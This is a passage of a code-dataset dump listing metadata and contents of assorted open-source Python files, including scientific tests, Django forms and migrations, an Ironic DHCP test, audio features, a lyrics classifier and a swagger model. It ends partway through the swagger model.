blob_id
stringlengths 40
40
| directory_id
stringlengths 40
40
| path
stringlengths 3
288
| content_id
stringlengths 40
40
| detected_licenses
listlengths 0
112
| license_type
stringclasses 2
values | repo_name
stringlengths 5
115
| snapshot_id
stringlengths 40
40
| revision_id
stringlengths 40
40
| branch_name
stringclasses 684
values | visit_date
timestamp[us]date 2015-08-06 10:31:46
2023-09-06 10:44:38
| revision_date
timestamp[us]date 1970-01-01 02:38:32
2037-05-03 13:00:00
| committer_date
timestamp[us]date 1970-01-01 02:38:32
2023-09-06 01:08:06
| github_id
int64 4.92k
681M
⌀ | star_events_count
int64 0
209k
| fork_events_count
int64 0
110k
| gha_license_id
stringclasses 22
values | gha_event_created_at
timestamp[us]date 2012-06-04 01:52:49
2023-09-14 21:59:50
⌀ | gha_created_at
timestamp[us]date 2008-05-22 07:58:19
2023-08-21 12:35:19
⌀ | gha_language
stringclasses 147
values | src_encoding
stringclasses 25
values | language
stringclasses 1
value | is_vendor
bool 2
classes | is_generated
bool 2
classes | length_bytes
int64 128
12.7k
| extension
stringclasses 142
values | content
stringlengths 128
8.19k
| authors
listlengths 1
1
| author_id
stringlengths 1
132
|
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
e7289fa1f549284d7e98f8964c2d31047a9bc6da
|
7c2c36ebf1a28a1b3990578bb59883d0a5fe74e6
|
/turbustat/tests/test_pdf.py
|
3ab83d5028113dcd19cf5de8be96265696ed77af
|
[
"MIT"
] |
permissive
|
hopehhchen/TurbuStat
|
1ebb6dbdd9e80fcacc0e4ed75359909a1bad8a4d
|
3793c8b3a6deb4c14b1388b5290a21d93f1697cf
|
refs/heads/master
| 2020-07-09T23:58:07.035643
| 2015-06-08T14:43:38
| 2015-06-08T14:43:38
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,371
|
py
|
# Licensed under an MIT open source license - see LICENSE
from unittest import TestCase
import numpy as np
import numpy.testing as npt
from ..statistics.pdf import PDF, PDF_Distance
from ._testing_data import \
dataset1, dataset2, computed_data, computed_distances
class testPDF(TestCase):
def setUp(self):
self.dataset1 = dataset1
self.dataset2 = dataset2
def test_PDF_distance(self):
self.test_dist = \
PDF_Distance(self.dataset1["integrated_intensity"][0],
self.dataset2["integrated_intensity"][0],
min_val1=0.05,
min_val2=0.05,
weights1=self.dataset1["integrated_intensity_error"][0] ** -2.,
weights2=self.dataset2["integrated_intensity_error"][0] ** -2.)
self.test_dist.distance_metric()
assert np.allclose(self.test_dist.PDF1.pdf, computed_data["pdf_val"])
npt.assert_almost_equal(self.test_dist.hellinger_distance,
computed_distances['pdf_hellinger_distance'])
npt.assert_almost_equal(self.test_dist.ks_distance,
computed_distances['pdf_ks_distance'])
npt.assert_almost_equal(self.test_dist.ad_distance,
computed_distances['pdf_ad_distance'])
|
[
"koch.eric.w@gmail.com"
] |
koch.eric.w@gmail.com
|
83ac34c589d3f1a44e27f059c40cebcdad36f63d
|
b54d6a18bc5e86462c1f085386bc48065db5851c
|
/targetDF.py
|
0c442099cfd980035cfa5306b1d087212fa72489
|
[] |
no_license
|
zoshs2/Percolation_Seoul
|
5b5b8ebabe186fbc9e265fc190c3d0641e196517
|
69c0aa99d1f7a2fb9259681a1ed63794cbe5ea5c
|
refs/heads/main
| 2023-07-28T20:50:13.393765
| 2021-09-28T13:25:31
| 2021-09-28T13:25:31
| 390,687,544
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,030
|
py
|
import pandas as pd
def targetDF(dataset, YEAR, MONTH, DAY, HOUR=False, MINUTE=False) -> pd.DataFrame:
'''
Return pd.DataFrame with only data that we concerned.
Example
-------
In[0] date_dataset = targetDF(dataset, 2021, 2, 1)
In[1] date_dataset = extract_ratio_df(date_dataset) # Generate a ratio column
In[2] time_dataset = targetDF(date_dataset, 2021, 2, 1, 9, 0) # 2021-02-01 / 09:00 AM
In[3] CheckOverRatio(time_dataset) # Check over ratio raws & do the correction by inplacing.
'''
if (HOUR is not False) & (MINUTE is not False):
vel_target = dataset[(dataset['PRCS_YEAR']==YEAR) & (dataset['PRCS_MON']==MONTH) & (dataset['PRCS_DAY']==DAY) & (dataset['PRCS_HH']==HOUR) & (dataset['PRCS_MIN']==MINUTE)]
vel_target = vel_target.reset_index(drop=True)
return vel_target
vel_target = dataset[(dataset['PRCS_YEAR']==YEAR) & (dataset['PRCS_MON']==MONTH) & (dataset['PRCS_DAY']==DAY)]
vel_target = vel_target.reset_index(drop=True)
return vel_target
|
[
"zoshs27@gmail.com"
] |
zoshs27@gmail.com
|
e3af53fba43b0b71ce8efca13bf2a89e6455544d
|
cea45595be3e9ff0daa09b4443c7220368e5c512
|
/catalog/forms.py
|
d17b59b3d29f1d2a4beed6697d06d27d5e996bb9
|
[] |
no_license
|
VladyslavHnatchenko/mdn
|
7b65ecf2e73eff2533aae4ffe5ad6a5a928750d9
|
f74736aeaf8c4b8ca51889c1a00571cb07f6dba2
|
refs/heads/master
| 2020-04-18T02:16:08.622726
| 2019-02-15T13:37:49
| 2019-02-15T13:37:49
| 167,149,898
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 919
|
py
|
import datetime
from django import forms
from django.core.exceptions import ValidationError
from django.utils.translation import ugettext_lazy as _
class RenewBookForm(forms.Form):
renewal_date = forms.DateField(help_text="Enter a date between now and"
" 4 weeks (default 3).")
def clean_renewal_date(self):
data = self.cleaned_data['renewal_date']
# Check if a date is not in the past.
if data < datetime.date.today():
raise ValidationError(_('Invalid date - renewal in past'))
# Check if a date is in the allowed range (+4 weeks from today).
if data > datetime.date.today() + datetime.timedelta(weeks=4):
raise ValidationError(_('Invalid date - renewal more than 4 weeks '
'ahead'))
# Remember to always return the cleaned data.
return data
|
[
"hnatchenko.vladyslav@gmail.com"
] |
hnatchenko.vladyslav@gmail.com
|
3170c04749e484a7ed6bc52dc2aac6b927bdd8f1
|
29790e8faa702dc52ff2ebf905d15ff8c6cfcda9
|
/pyvows/assertions/inclusion.py
|
fc1d51ea05f322686a78849c17c541a6ad3d37a1
|
[] |
no_license
|
scraping-xx/pyvows
|
0227a2b3f16bcf562acb48902ed3c58d6e616791
|
b03e9bed37b93f24eca1dd910c05e78e81969ca2
|
refs/heads/master
| 2020-12-01T01:15:09.487368
| 2011-08-16T03:36:57
| 2011-08-16T03:36:57
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 633
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# pyVows testing engine
# https://github.com/heynemann/pyvows
# Licensed under the MIT license:
# http://www.opensource.org/licenses/mit-license
# Copyright (c) 2011 Bernardo Heynemann heynemann@gmail.com
from pyvows import Vows
@Vows.assertion
def to_include(topic, expected):
message = "Expected topic(%s) to include %s, but it didn't" % (topic, expected)
assert expected in topic, message
@Vows.assertion
def not_to_include(topic, expected):
message = "Expected topic(%s) not to include %s, but it did" % (topic, expected)
assert expected not in topic, message
|
[
"heynemann@gmail.com"
] |
heynemann@gmail.com
|
6399568472f674133ea232ed648f413406c0c095
|
fd15d1a9d0fdf6908bb7c8d1d4490bb6cf817d1f
|
/CareerFlash/migrations/0012_auto_20190918_0307.py
|
4a906d6dd1216a9a77ebe27977af08c7ec4755fd
|
[] |
no_license
|
stanleysh/Career-Flash
|
8bca183ae2576c0aae7dbdb62c2abd60e8890e6d
|
6e062afb5ef8959141475e1d73af431a0cf047b4
|
refs/heads/master
| 2020-08-05T06:23:26.427944
| 2019-09-19T17:34:23
| 2019-09-19T17:34:23
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 402
|
py
|
# Generated by Django 2.2.5 on 2019-09-18 03:07
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('CareerFlash', '0011_orginization'),
]
operations = [
migrations.AlterField(
model_name='orginization',
name='name',
field=models.CharField(max_length=255, unique=True),
),
]
|
[
"adam.cote66@gmail.com"
] |
adam.cote66@gmail.com
|
cdc243853b5430781b560f6d3f53ceeb14bb4b58
|
a0447b03ad89a41a5c2e2073e32aeaf4d6279340
|
/ironic/tests/unit/dhcp/test_dnsmasq.py
|
64fe46f3393fd13874809d60d2532be93e42bae0
|
[
"Apache-2.0"
] |
permissive
|
openstack/ironic
|
2ae87e36d7a62d44b7ed62cad4e2e294d48e061b
|
ab76ff12e1c3c2208455e917f1a40d4000b4e990
|
refs/heads/master
| 2023-08-31T11:08:34.486456
| 2023-08-31T04:45:05
| 2023-08-31T04:45:05
| 10,066,301
| 411
| 365
|
Apache-2.0
| 2023-07-25T02:05:53
| 2013-05-14T22:28:24
|
Python
|
UTF-8
|
Python
| false
| false
| 5,237
|
py
|
#
# Copyright 2022 Red Hat, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import os
import tempfile
from ironic.common import dhcp_factory
from ironic.common import utils as common_utils
from ironic.conductor import task_manager
from ironic.tests.unit.db import base as db_base
from ironic.tests.unit.objects import utils as object_utils
class TestDnsmasqDHCPApi(db_base.DbTestCase):
def setUp(self):
super(TestDnsmasqDHCPApi, self).setUp()
self.config(dhcp_provider='dnsmasq',
group='dhcp')
self.node = object_utils.create_test_node(self.context)
self.ports = [
object_utils.create_test_port(
self.context, node_id=self.node.id, id=2,
uuid='1be26c0b-03f2-4d2e-ae87-c02d7f33c782',
address='52:54:00:cf:2d:32',
pxe_enabled=True)]
self.optsdir = tempfile.mkdtemp()
self.addCleanup(lambda: common_utils.rmtree_without_raise(
self.optsdir))
self.config(dhcp_optsdir=self.optsdir, group='dnsmasq')
self.hostsdir = tempfile.mkdtemp()
self.addCleanup(lambda: common_utils.rmtree_without_raise(
self.hostsdir))
self.config(dhcp_hostsdir=self.hostsdir, group='dnsmasq')
dhcp_factory.DHCPFactory._dhcp_provider = None
self.api = dhcp_factory.DHCPFactory()
self.opts = [
{
'ip_version': 4,
'opt_name': '67',
'opt_value': 'bootx64.efi'
},
{
'ip_version': 4,
'opt_name': '210',
'opt_value': '/tftpboot/'
},
{
'ip_version': 4,
'opt_name': '66',
'opt_value': '192.0.2.135',
},
{
'ip_version': 4,
'opt_name': '150',
'opt_value': '192.0.2.135'
},
{
'ip_version': 4,
'opt_name': '255',
'opt_value': '192.0.2.135'
}
]
def test_update_dhcp(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.update_dhcp(task, self.opts)
dnsmasq_tag = task.node.driver_internal_info.get('dnsmasq_tag')
self.assertEqual(36, len(dnsmasq_tag))
hostfile = os.path.join(self.hostsdir,
'ironic-52:54:00:cf:2d:32.conf')
with open(hostfile, 'r') as f:
self.assertEqual(
'52:54:00:cf:2d:32,set:%s,set:ironic\n' % dnsmasq_tag,
f.readline())
optsfile = os.path.join(self.optsdir,
'ironic-%s.conf' % self.node.uuid)
with open(optsfile, 'r') as f:
self.assertEqual([
'tag:%s,67,bootx64.efi\n' % dnsmasq_tag,
'tag:%s,210,/tftpboot/\n' % dnsmasq_tag,
'tag:%s,66,192.0.2.135\n' % dnsmasq_tag,
'tag:%s,150,192.0.2.135\n' % dnsmasq_tag,
'tag:%s,255,192.0.2.135\n' % dnsmasq_tag],
f.readlines())
def test_get_ip_addresses(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
with tempfile.NamedTemporaryFile() as fp:
self.config(dhcp_leasefile=fp.name, group='dnsmasq')
fp.write(b"1659975057 52:54:00:cf:2d:32 192.0.2.198 * *\n")
fp.flush()
self.assertEqual(
['192.0.2.198'],
self.api.provider.get_ip_addresses(task))
def test_clean_dhcp_opts(self):
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.update_dhcp(task, self.opts)
hostfile = os.path.join(self.hostsdir,
'ironic-52:54:00:cf:2d:32.conf')
optsfile = os.path.join(self.optsdir,
'ironic-%s.conf' % self.node.uuid)
self.assertTrue(os.path.isfile(hostfile))
self.assertTrue(os.path.isfile(optsfile))
with task_manager.acquire(self.context,
self.node.uuid) as task:
self.api.clean_dhcp(task)
# assert the host file remains with the ignore directive, and the opts
# file is deleted
with open(hostfile, 'r') as f:
self.assertEqual(
'52:54:00:cf:2d:32,ignore\n',
f.readline())
self.assertFalse(os.path.isfile(optsfile))
|
[
"sbaker@redhat.com"
] |
sbaker@redhat.com
|
841cd9e9d8193c58fdc4c4845d4a09b81a7bd904
|
2b8e7eadb920e96c75697880a9c5461aa8e0c5ed
|
/nabu/processing/processors/feature_computers/fbank.py
|
77c4ebb1d59833e9ebe2c1032e1545f7cb99d2f4
|
[
"MIT"
] |
permissive
|
ishandutta2007/nabu
|
fb963ed3cd34ee340014e0c1e77927c838bba0ad
|
313018a46f68cec1d4a7eb15b8b1cf68111a959c
|
refs/heads/master
| 2020-04-03T04:57:57.911576
| 2018-12-14T11:02:52
| 2018-12-14T11:02:52
| 155,029,958
| 0
| 0
|
MIT
| 2018-12-06T18:20:12
| 2018-10-28T02:59:31
|
Python
|
UTF-8
|
Python
| false
| false
| 1,446
|
py
|
'''@file fbank.py
contains the fbank feature computer'''
import numpy as np
import base
import feature_computer
from sigproc import snip
class Fbank(feature_computer.FeatureComputer):
'''the feature computer class to compute fbank features'''
def comp_feat(self, sig, rate):
'''
compute the features
Args:
sig: the audio signal as a 1-D numpy array
rate: the sampling rate
Returns:
the features as a [seq_length x feature_dim] numpy array
'''
#snip the edges
sig = snip(sig, rate, float(self.conf['winlen']),
float(self.conf['winstep']))
feat, energy = base.logfbank(sig, rate, self.conf)
if self.conf['include_energy'] == 'True':
feat = np.append(feat, energy[:, np.newaxis], 1)
if self.conf['dynamic'] == 'delta':
feat = base.delta(feat)
elif self.conf['dynamic'] == 'ddelta':
feat = base.ddelta(feat)
elif self.conf['dynamic'] != 'nodelta':
raise Exception('unknown dynamic type')
return feat
def get_dim(self):
'''the feature dimemsion'''
dim = int(self.conf['nfilt'])
if self.conf['include_energy'] == 'True':
dim += 1
if self.conf['dynamic'] == 'delta':
dim *= 2
elif self.conf['dynamic'] == 'ddelta':
dim *= 3
return dim
|
[
"vincent.renkens@esat.kuleuven.be"
] |
vincent.renkens@esat.kuleuven.be
|
90146830bfe90f1fccd9b4b89f96401860d91053
|
f445450ac693b466ca20b42f1ac82071d32dd991
|
/generated_tempdir_2019_09_15_163300/generated_part009372.py
|
79176e5034b71cfcfb2a2bf71973eb4b7665d2c3
|
[] |
no_license
|
Upabjojr/rubi_generated
|
76e43cbafe70b4e1516fb761cabd9e5257691374
|
cd35e9e51722b04fb159ada3d5811d62a423e429
|
refs/heads/master
| 2020-07-25T17:26:19.227918
| 2019-09-15T15:41:48
| 2019-09-15T15:41:48
| 208,357,412
| 4
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,292
|
py
|
from sympy.abc import *
from matchpy.matching.many_to_one import CommutativeMatcher
from matchpy import *
from matchpy.utils import VariableWithCount
from collections import deque
from multiset import Multiset
from sympy.integrals.rubi.constraints import *
from sympy.integrals.rubi.utility_function import *
from sympy.integrals.rubi.rules.miscellaneous_integration import *
from sympy import *
class CommutativeMatcher77334(CommutativeMatcher):
_instance = None
patterns = {
0: (0, Multiset({}), [
(VariableWithCount('i3.3.1.0', 1, 1, None), Mul),
(VariableWithCount('i3.3.1.0_1', 1, 1, S(1)), Mul)
])
}
subjects = {}
subjects_by_id = {}
bipartite = BipartiteGraph()
associative = Mul
max_optional_count = 1
anonymous_patterns = set()
def __init__(self):
self.add_subject(None)
@staticmethod
def get():
if CommutativeMatcher77334._instance is None:
CommutativeMatcher77334._instance = CommutativeMatcher77334()
return CommutativeMatcher77334._instance
@staticmethod
def get_match_iter(subject):
subjects = deque([subject]) if subject is not None else deque()
subst0 = Substitution()
# State 77333
return
yield
from collections import deque
|
[
"franz.bonazzi@gmail.com"
] |
franz.bonazzi@gmail.com
|
de6131cb7460f4df0537d86258086f70cd965e4f
|
73fbdbe4943cd4a8de371ba1af4b5cdfea3138d8
|
/project4_lyrics/lyrics_project/main.py
|
5b2eae2671200684d80d3cc5530e8486ab9cf16a
|
[] |
no_license
|
GParolini/spiced_academy_projects
|
74524d99842e7659a38371b6e697f9fd90a9e0fa
|
64b9458c9294a767636211d59ae00e329fb527f5
|
refs/heads/master
| 2023-05-31T05:30:07.692702
| 2021-06-21T08:54:46
| 2021-06-21T08:54:46
| 363,920,518
| 0
| 0
| null | 2021-05-03T13:33:28
| 2021-05-03T12:22:05
| null |
UTF-8
|
Python
| false
| false
| 4,865
|
py
|
#!/usr/bin/env python
# coding: utf-8
# # Project 4: Web scraping and text classification
from colorama import init
from colorama import deinit
from colorama import Fore, Back, Style
import pandas as pd
from sklearn.model_selection import train_test_split
from sklearn.linear_model import LogisticRegression
from sklearn.feature_extraction.text import TfidfVectorizer
from sklearn.naive_bayes import MultinomialNB
from utilities import *
#Color print in terminal
init()
# Scraping data for artist1
print(Style.BRIGHT + Fore.RED + "Welcome to your lyrics finder")
print(Fore.RED + "I can help you find the lyrics of your favourite artist on lyrics.com")
print(Fore.GREEN + "Please provide below the name of the artist")
name1=input()
print(Fore.GREEN + "Please provide below the link to the artist webpage on lyrics.com")
url1=input()
urls_lyrics_list1=get_lyric_urls(url1, name1)
lyrics_files1 = get_lyrics(urls_lyrics_list1, name1)
# Reading the scraped data for artist1
metadata_df1 = read_metadata(name1)
lyrics_df1 = read_lyrics(name1)
df_artist1 = metadata_df1.merge(lyrics_df1)
# Scraping data for artist2
print(Fore.RED + "You can select a second artist and then you can quiz me about the two artists")
print(Fore.GREEN + "Please provide below the name of the artist")
name2 =input()
print(Fore.GREEN + "Please provide below the link to the artist webpage on lyrics.com")
url2=input()
urls_lyrics_list2=get_lyric_urls(url2, name2)
lyrics_files2 = get_lyrics(urls_lyrics_list2, name2)
# Reading the scraped data for artist2
metadata_df2 = read_metadata(name2)
lyrics_df2 = read_lyrics(name2)
df_artist2 = metadata_df2.merge(lyrics_df2)
# Joining the two artists' dataframes
df = pd.concat([df_artist1, df_artist2])
#train-test split
X_train, X_test, y_train, y_test = train_test_split(df.drop(["author"], axis=1), df["author"],
test_size=0.2, random_state=42)
#cleaning the lyrics tests and transforming them in a list of strings
list_cleaned_lyrics_train = clean_text_to_list(X_train)
labels_train = y_train.tolist()
#Bag of words
vect = TfidfVectorizer()
X = vect.fit_transform(list_cleaned_lyrics_train)
#Transforming the test set
list_cleaned_lyrics_test = clean_text_to_list(X_test)
X_test_transformed = vect.transform(list_cleaned_lyrics_test)
#Fitting a logistic regression model
model_lr = LogisticRegression(class_weight='balanced').fit(X, y_train)
score_lr = model_lr.score(X, y_train)
#Checking how the logistic regression model performs on the test set
ypred = model_lr.predict(X_test_transformed)
score_lr = model_lr.score(X_test_transformed,y_test)
probs_lr = model_lr.predict_proba(X_test_transformed)
print(Fore.RED + "I am a data savvy software.")
print(Fore.RED + "I can tell you that a logistic regression model applied to classify")
print(Fore.RED + "the data of your two artists has a score of ", Back.GREEN + str(score_lr))
print(Back.RESET + Fore.RED + "and the probabilities for each entry in the test set are as follow ", Fore.RESET + str(probs_lr))
#Fitting a Naive Bayes model
model_nb = MultinomialNB(alpha=1).fit(X, y_train)
model_nb.score(X, y_train)
#Checking how the Naive Bayes Model performs on the test set
ypred_nb = model_nb.predict(X_test_transformed)
score_nb = model_nb.score(X_test_transformed,y_test)
probs_nb = model_nb.predict_proba(X_test_transformed)
print(Back.RESET + Fore.RED + "Do no take me for a pedantic software, but I can also tell you that")
print(Fore.RED + "a Naive Bayes model applied to classify the data of your two artists has a score of ", Back.GREEN + str(score_nb))
print(Back.RESET + Fore.RED + "and the probabilities for each entry in the test set are as follow ", Back.RESET + Fore.RESET + str(probs_nb))
#Testing user input
print(Back.RESET + Fore.RED + "Now, please select a model between Logistic Regression and Naive Bayes.")
print(Fore.RED + "Then you can quiz me with a few of your favourite lyrics.")
print(Fore.RED + "I will tell you who is the author of the lyrics.")
print(Fore.GREEN + "Please input your model choice (LR for Logistic Regression and NB for Naive Bayes)")
model_to_use = input()
print(Fore.GREEN + "Please input some lyrics for me to examine: ")
user_lyrics = input()
user_lyrics_transformed = vect.transform([user_lyrics])
if model_to_use=="LR":
lr_pred = model_lr.predict(user_lyrics_transformed)
lr_prob = model_lr.predict_proba(user_lyrics_transformed)
print(Fore.YELLOW + Back.BLACK + str(lr_pred), str(lr_prob))
if model_to_use=="NB":
nb_pred = model_nb.predict(user_lyrics_transformed)
nb_prob = model_nb.predict_proba(user_lyrics_transformed)
print(Fore.YELLOW + Back.BLACK + str(nb_pred), str(nb_prob))
if (model_to_use !="LR") and (model_to_use !="NB"):
out = "You did not select a valid model"
print(Fore.YELLOW + Back.BLACK + out)
deinit()
|
[
"giudittaparolini@gmail.com"
] |
giudittaparolini@gmail.com
|
609760859820be1e68a6de0cb45de2de2a4b6eb9
|
b77e464c1051dbec0dea6deaf63ccc393c17c84c
|
/tests/test_base.py
|
b49f58ee4e9aca182c4a93894ccbbe58618c0117
|
[
"Unlicense"
] |
permissive
|
victtorvpb/flask-cash-back-plataform
|
63dad5677811df8d24999a6c4ad5e46d91d87dcd
|
301bcad96662e7ba8f74b8e6896248f2ac2854d3
|
refs/heads/main
| 2023-07-12T02:46:23.526791
| 2021-08-16T23:01:11
| 2021-08-16T23:01:32
| 397,004,794
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 389
|
py
|
import pytest
from flask_cash_back_plataform import BaseClass, base_function
given = pytest.mark.parametrize
@given("fn", [BaseClass(), base_function])
def test_parameterized(fn):
assert "hello from" in fn()
def test_base_function():
assert base_function() == "hello from base function"
def test_base_class():
assert BaseClass().base_method() == "hello from BaseClass"
|
[
"actions@github.com"
] |
actions@github.com
|
efdbbaf125546b22e79da1e189dd44d713d68223
|
487ce91881032c1de16e35ed8bc187d6034205f7
|
/codes/CodeJamCrawler/16_0_2_neat/16_0_2_jolley_Pancakes.py
|
0f7c8e1f03d564dbbb9de3c313d22706fa0aea19
|
[] |
no_license
|
DaHuO/Supergraph
|
9cd26d8c5a081803015d93cf5f2674009e92ef7e
|
c88059dc66297af577ad2b8afa4e0ac0ad622915
|
refs/heads/master
| 2021-06-14T16:07:52.405091
| 2016-08-21T13:39:13
| 2016-08-21T13:39:13
| 49,829,508
| 2
| 0
| null | 2021-03-19T21:55:46
| 2016-01-17T18:23:00
|
Python
|
UTF-8
|
Python
| false
| false
| 972
|
py
|
# -*- coding: utf-8 -*-
"""
Created on Sat Apr 9 18:01:19 2016
@author: jo
"""
with open('input', 'r') as f:
cases = 0
case = 0
with open('outputPan', 'w') as fo:
for line in f:
if line[0].isdigit():
cases = int(line)
#print(line)
else:
case +=1
last = True
flips = 0
for c in xrange(len(line)):
positive = True
if line[c] == '-':
positive = False
if c == 0:
last = positive
else:
if positive != last:
flips +=1
if c == (len(line)-1):
if positive != True:
flips += 1
fo.write('Case #' + str(case) + ': ' + str(flips) + '\n')
last = positive
|
[
"[dhuo@tcd.ie]"
] |
[dhuo@tcd.ie]
|
b59c437e9488ef3d05b937ed48797e71bc060614
|
fe54d59a1a030a9c1395f4f4d3ef2e2b2ec48343
|
/build/lib/nailgun/objects/serializers/node.py
|
a2db68ad18b2230ba9ca3569cf67682031e2d880
|
[] |
no_license
|
zbwzy/nailgun
|
38a4198a0630a1608c14e55bee03b5ed04ded3e8
|
2eaeece03ebc53f48791db2aa8e7d24c010910f2
|
refs/heads/master
| 2022-09-25T09:03:33.296368
| 2016-02-23T09:32:55
| 2016-02-23T09:32:55
| 52,345,460
| 0
| 0
| null | 2022-09-16T17:45:43
| 2016-02-23T09:03:07
|
Python
|
UTF-8
|
Python
| false
| false
| 2,488
|
py
|
# -*- coding: utf-8 -*-
# Copyright 2013 Mirantis, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from nailgun import consts
from nailgun.objects.serializers.base import BasicSerializer
class NodeSerializer(BasicSerializer):
fields = (
'id',
'name',
'meta',
'progress',
'kernel_params',
'roles',
'pending_roles',
'status',
'mac',
'fqdn',
'ip',
'manufacturer',
'platform_name',
'pending_addition',
'pending_deletion',
'os_platform',
'error_type',
'online',
'cluster',
'network_data',
'group_id',
'node_type'
)
class NodeInterfacesSerializer(BasicSerializer):
nic_fields = (
'id',
'mac',
'name',
'type',
'state',
'current_speed',
'max_speed',
'assigned_networks'
)
bond_fields = (
'mac',
'name',
'type',
'mode',
'state',
'assigned_networks'
)
@classmethod
def serialize_nic_interface(cls, instance, fields=None):
return BasicSerializer.serialize(
instance,
fields=fields if fields else cls.nic_fields
)
@classmethod
def serialize_bond_interface(cls, instance, fields=None):
data_dict = BasicSerializer.serialize(
instance,
fields=fields if fields else cls.bond_fields
)
data_dict['slaves'] = [{'name': slave.name}
for slave in instance.slaves]
return data_dict
@classmethod
def serialize(cls, instance, fields=None):
iface_types = consts.NETWORK_INTERFACE_TYPES
if instance.type == iface_types.ether:
return cls.serialize_nic_interface(instance)
elif instance.type == iface_types.bond:
return cls.serialize_bond_interface(instance)
|
[
"zhangbai2008@gmail.com"
] |
zhangbai2008@gmail.com
|
eeb5c32aeca4c54f2b5c6ffc35714485bb235f96
|
7174b27cd79cad398ffa1add9b59da6e9adbeae4
|
/python-100days/day0-15/day13/more_thread2.py
|
35152bd4993d043a4da4ce465dc7221aa7d7ba44
|
[] |
no_license
|
UULIN/py
|
ddf037021afce04e46d51c133bfa06257ef7200a
|
a5d32597fc91fbd5ec41f54fb942c82300766299
|
refs/heads/master
| 2021-07-18T08:20:49.342072
| 2020-10-21T14:41:42
| 2020-10-21T14:41:42
| 222,977,134
| 1
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,226
|
py
|
from time import sleep
from threading import Thread, Lock
class Account(object):
def __init__(self):
self._balance = 0
self._lock = Lock()
def deposit(self, money):
self._lock.acquire()
try:
# 计算存款后的余额
new_balance = self._balance + money
# 模拟受理存款业务需要0.01秒的时间
sleep(0.01)
# 修改账户余额
self._balance = new_balance
finally:
self._lock.release()
@property
def balance(self):
return self._balance
class AddMoneyThread(Thread):
def __init__(self, account, money):
super().__init__()
self._account = account
self._money = money
def run(self):
self._account.deposit(self._money)
def main():
account = Account()
threads = []
# 创建100个存款的线程向同一个账户中存钱
for _ in range(100):
t = AddMoneyThread(account, 1)
threads.append(t)
t.start()
# 等所有存款的线程都执行完毕
for t in threads:
t.join()
print('账户余额为: ¥%d元' % account.balance)
if __name__ == '__main__':
main()
|
[
"1036190402@qq.com"
] |
1036190402@qq.com
|
ae02b14171429a5182162ab7f4da4271b917afb0
|
5f6c16e89cf58304c2e70f1e34f14110fcec636c
|
/python-swagger-sdk/swagger_client/models/inline_response2006.py
|
07fbec9fdc5ad9c1c909603b3c658606843c2559
|
[] |
no_license
|
mohammedpatla/secretapi
|
481c97901a5e92ca02e29470ab683df80ea0f26a
|
df420498bd0ae37fd1a152c3877a1342275a8f43
|
refs/heads/master
| 2022-12-25T01:55:18.038954
| 2020-10-04T23:13:54
| 2020-10-04T23:13:54
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 8,041
|
py
|
# coding: utf-8
"""
API for Secret Network by ChainofSecrets.org
A REST interface for state queries, transaction generation and broadcasting. # noqa: E501
OpenAPI spec version: 3.0
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re # noqa: F401
import six
class InlineResponse2006(object):
"""NOTE: This class is auto generated by the swagger code generator program.
Do not edit the class manually.
"""
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'inflation_rate_change': 'str',
'inflation_max': 'str',
'inflation_min': 'str',
'goal_bonded': 'str',
'unbonding_time': 'str',
'max_validators': 'int',
'bond_denom': 'str'
}
attribute_map = {
'inflation_rate_change': 'inflation_rate_change',
'inflation_max': 'inflation_max',
'inflation_min': 'inflation_min',
'goal_bonded': 'goal_bonded',
'unbonding_time': 'unbonding_time',
'max_validators': 'max_validators',
'bond_denom': 'bond_denom'
}
def __init__(self, inflation_rate_change=None, inflation_max=None, inflation_min=None, goal_bonded=None, unbonding_time=None, max_validators=None, bond_denom=None): # noqa: E501
"""InlineResponse2006 - a model defined in Swagger""" # noqa: E501
self._inflation_rate_change = None
self._inflation_max = None
self._inflation_min = None
self._goal_bonded = None
self._unbonding_time = None
self._max_validators = None
self._bond_denom = None
self.discriminator = None
if inflation_rate_change is not None:
self.inflation_rate_change = inflation_rate_change
if inflation_max is not None:
self.inflation_max = inflation_max
if inflation_min is not None:
self.inflation_min = inflation_min
if goal_bonded is not None:
self.goal_bonded = goal_bonded
if unbonding_time is not None:
self.unbonding_time = unbonding_time
if max_validators is not None:
self.max_validators = max_validators
if bond_denom is not None:
self.bond_denom = bond_denom
@property
def inflation_rate_change(self):
"""Gets the inflation_rate_change of this InlineResponse2006. # noqa: E501
:return: The inflation_rate_change of this InlineResponse2006. # noqa: E501
:rtype: str
"""
return self._inflation_rate_change
@inflation_rate_change.setter
def inflation_rate_change(self, inflation_rate_change):
"""Sets the inflation_rate_change of this InlineResponse2006.
